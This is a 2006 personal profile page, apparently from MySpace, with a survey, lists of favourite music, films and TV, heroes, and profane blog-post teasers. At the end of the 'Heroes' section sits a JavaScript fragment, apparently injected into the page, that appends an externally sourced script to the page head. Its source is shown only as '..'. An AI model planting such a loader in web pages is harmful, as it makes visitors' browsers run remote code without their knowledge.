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About Me

Yes, its the Demon in the flesh!! I was his slave!!
A Fallen Hero That Will Never Be Forgotten
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Name: You all already know...
Birthday: approximately 27 years ago
Birthplace: in my grandpa's kitchen in Laos
Current Location: H-Town
Eye Color: Bullshit brown
Hair Color: Changes with the seasons
Height: Tall enough to ride
Right Handed or Left Handed: Both ;)
Your Heritage: Laotian
The Shoes You Wore Today: my slippas
Your Weakness: Extreme Sports and Action Sports
Your Fears: Havin too many people pissed off at once
Your Perfect Pizza: Ham & Pineapple
Goal You Would Like To Achieve This Year: Start College...again
Your Most Overused Phrase On an instant messenger: W.T.F?
Thoughts First Waking Up: Who the hell is making all that damn noise?!
Your Best Physical Feature: The girls
Your Bedtime: Between 12-4 am nightly
Your Most Missed Memory: Growing up in New Mexico
MacDonalds or Burger King: Both depends on my craving
Single or Group Dates: Depends on how hot the other people are, only wanna be around beautiful people
Lipton Ice Tea or Nestea: Lipton for sure...with lots of shuga
Chocolate or Vanilla: You guys all know I like the white vanilla flavor
Cappuccino or Coffee: French Vanilla Crappaccino
Do you Smoke: No
Do you Swear: Fuck Yeah
Do you Sing: Only at a Karaoke bar
Do you Shower Daily: Hell Yeah
Have you Been in Love: Thought I was this one time...
Do you want to go to College: Trying to accomplish that next semester
Do you want to get Married: Again?
Do you belive in yourself: No because I lie to myself all the time
Do you think you are Attractive: Easy answer...what do you think?
Are you a Health Freak: Only for about 1 week each month
Do you get along with your Parents: Gotta respect the parental units
Do you like Thunderstorms: No, tends to frighten my little girl
Do you play an Instrument: Tried to but my electric guitar is collecting dust
In the past month have you Drank Alcohol: Only 1 drink...I promise
In the past month have you Smoked: No that shit stinks
In the past month have you been on Drugs: No
In the past month have you gone on a Date: No, don't know what those are
In the past month have you gone to a Mall: Yep..what girl doesn't
In the past month have you eaten a box of Oreos: Nope...stayin away from sweets
In the past month have you eaten Sushi: Hells yeah...China Garden Buffet
In the past month have you been on Stage: Yeah minus the poles
In the past month have you been Dumped: Nope...he's still with me
In the past month have you gone Skinny Dipping: Too cold lately
In the past month have you Stolen Anything: Yeah...ran off with someone's heart
Ever been Drunk: Once or twice...last week
Ever been called a Tease: Every night...
Ever been Beaten up: Hell no...bitches won't fuck with me face to face
Ever Shoplifted: When I was in elementary school with Wynona
How do you want to Die: With everyone else going with me
What do you want to be when you Grow Up: Still wondering if I grew up yet...
What country would you most like to Visit: The Seychelles off the coast of Madagascar
In a Boy/Girl..
Favourite Eye Color: Blue
Favourite Hair Color: Brown
Short or Long Hair: I'm a sucker for long hair, but short will do
Height: at least 6 ft
Weight: at least 180 pounds of pure muscles
Best Clothing Style: Dresses like David Beckham/Brad Pitt
Number of CDs I own: too damn many to count, at least 200
Number of Piercings: 1 Each ear, 1 belly button, 1 lip piercing
Number of Tattoos: None
Number of things in my Past I Regret: All of them, don't have enough room to even begin
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My Interests


I'd like to meet:



DEAD: My grandfather who passed when I was a baby. Gia Carangi, General George S. Patton, Pat Tillman, Brandon Lee, Vincent Van Gogh, Leonardo Da Vinci, Jimmy Hendrix, Jim Morrison, Elvis, Ghandi, Albert Einstein

Alive: Pete Loeffler, Angelina Jolie, Bret Micheals, Brad Pitt, Jared Leto, Victor Webster, Criss Angel, Nicky Hayden, Rob "Razor" McCullough, Robert Plant, David Beckham, Eddie George, Dane Cook, Tera Patrick, Andy Finch, Jenna Jameson, Paul Walker, Jon Bon Jovi, Kevin Nash, Peter Steele of Type O Negative, The Dalai Lama

Music:

Chevelle (my favorite band), Avenged Sevenfold, 30 Seconds to Mars, Strata, 10 Years, Tool, My Chemical Romance, AFI, Trapt, Ozzy Osbourne, Led Zepplin, Kiss, Black Sabbath, Pink Floyd, Poison, Bon Jovi, Guns N Roses, Judas Priest, Rage against the Machine, Alice in Chains, The Cure, Depeche Mode, Metallica, Heart, Nine Inch Nails,The Eagles, 311, Sugarcult, Taking Back Sunday, Three Days Grace, Mudvayne I LOVE 80's Bands like Warrant, Slaughter, RATT, Dokken, Faster Pussycat, Cinderella, LA Guns, Queensryche, Vixen, Skid Row, Great White, Whitesnake, Danger Danger, Winger, Motley Crue and I can go on forever. Oh yeah lets not forget all the kick ass 80's music. I love all things 80's from all the pop, hard rock, metal, hair, new wave and altnernative. Last but not least, since moving to the south some 15 yrs ago, I've fallen victim to country music. I can handle most songs from the late 90's to the current stuff out but anything older than that is a little too redneck for me.

My Homies: Kera, Staci and Alison

Movies:

The Notebook, The Matrix Trilogy, The Lord of the Rings Trilogy, Super Troopers, Waiting, Hard Candy, Lucky Number Slevin, Steel Magnolias, Dazed & Confused, To Wong Foo: Thanks for everything Julie Newmar, The Joy Luck Club, The Crow, Pitch Black, Joe Dirt, Bad Santa, Half Baked, Better Luck Tomorrow, Napoleon Dynamite, Titanic, Troy, Gia, Mr. & Mrs. Smith, Texas Chainsaw Massacre (the original), 9 1/2 weeks, Sin City, Pulp Fiction, Hostel, Cars, Interview with a Vampire, Chick Flicks, Scary Movies, Funny Movies, Ass Kickin Movies and some XXX flicks

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Television:

Fuel TV cuz I love action sports. ESPN...Herbstreit is HOTT! Sex and the City (the best damn thing to happen to women since vibrators), The L Word... I love women who love women. Dog the Bounty hunter to see if any of those big polynesian fugitives will beat the shit out of the Dog. Criss Angels' MindFuck cause that's exactly what it is plus he's so damn hot. I'm a reality TV junkie, I love Survivor, the Gauntlet, Inferno, the Duel, Gene Simmons' Family Jewels. The Food Network because even though I can cook, I hate doing it. Just about anything on comedy central because making fun of everyone is funny especially if its Dave Chappelle and Carlos Mencia doing it. News magazine shows on CNN, MSNBC, Fox News. The Discovery Channel, History Channel, TLC and Travel Channel because I love watching all those actual educational programs and documentaries...guess that makes me a nerd.

Books:

More like magazines...Muscle & Fitness, Men's Health, Vogue, Motorcycle mags, People, Maxim, I own a bunch of books but for some reason I never find the time to finish any.

Heroes:

Since having served in the Army myself, I'm very much the patriot. My heroes are all the men and women in uniform who gave their lives for this country fighting the current wars and all the wars past. Most people take for granted what soldiers, sailors, marines and airmen sacrifice to ensure our freedom sothat the rest of Americans can sleep peaceful at night. For all you unpatriotic people...kiss our ass. Last but not least Oprah. .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"

My Blog

For your consideration....

To all you desperate loser assholes with no life whatsoever (you know if this is about you):Go fuck yourselves!!! So fuckin what if I don't respond to you or accept your friend request! Just because y...
Posted by ♥ Agent Provocateur ♥ on Tue, 07 Nov 2006 07:43:00 PST

Let It Snow, Let It Snow

Its already November and the cold seems to be barely setting in. The Kawi has been put away to hibernate for the winter and now I'm becoming very anxious towards another passion...snowboarding. I hate...
Posted by ♥ Agent Provocateur ♥ on Wed, 01 Nov 2006 12:32:00 PST

Friends, yours & mine....

Like always, its another late night I spend contemplating the days, weeks, months & years that lie ahead wondering how the span of life will pan out. I find myself thinking about my friends that I...
Posted by ♥ Agent Provocateur ♥ on Sat, 30 Sep 2006 12:27:00 PST

Can't wait for College Football to Start

Okay so I sound like such a dork saying this but I LOVE COLLEGE FOOTBALL!! There is nothing exciting on TV especially during the fall season. 1 more week to go and the official NO.1 team in the countr...
Posted by ♥ Agent Provocateur ♥ on Fri, 25 Aug 2006 08:36:00 PST

Another Fuck You to all you hatin ho's out there!

Got a problem with me?-Solve It!Think I'm trippin?-Tie my shoes!Can't stand me?-Sit the fuck down!Can't face me?-Turn the fuck around!
Posted by ♥ Agent Provocateur ♥ on Fri, 18 Aug 2006 09:53:00 PST

You bitches know if this is about you

Walk: by PanteraCan't you see I'm easily bothered by persistenceOne step from lashing out at you...You want in to get under my skinAnd call yourself a friendI've got more friends like youWhat do I do?...
Posted by ♥ Agent Provocateur ♥ on Thu, 17 Aug 2006 01:08:00 PST

Tribute to exibitionists and all other attention depraved people

Okay so something happened very recently and I must say it was quite weird. I went out with some dear friends and had the most insane time. I'm a little bit naive I guess but I never thought I would s...
Posted by ♥ Agent Provocateur ♥ on Fri, 04 Aug 2006 12:52:00 PST

Space Age Love Song

Space Age Love Song I saw your eyes,And you made me smile;For a little whileI was falling in love. I saw your eyes,And you touched my mind.Although it took a while,I was falling in love. I saw your...
Posted by ♥ Agent Provocateur ♥ on Tue, 18 Jul 2006 12:12:00 PST

Hate me today...Hate me tomorrow...

For everyone who reads this: You know if this applies to you or not, I am not a hateful or vengeful person but by way of deception there are suspicious "characters" who mean nothing but harm to me. So...
Posted by ♥ Agent Provocateur ♥ on Thu, 13 Jul 2006 10:41:00 PST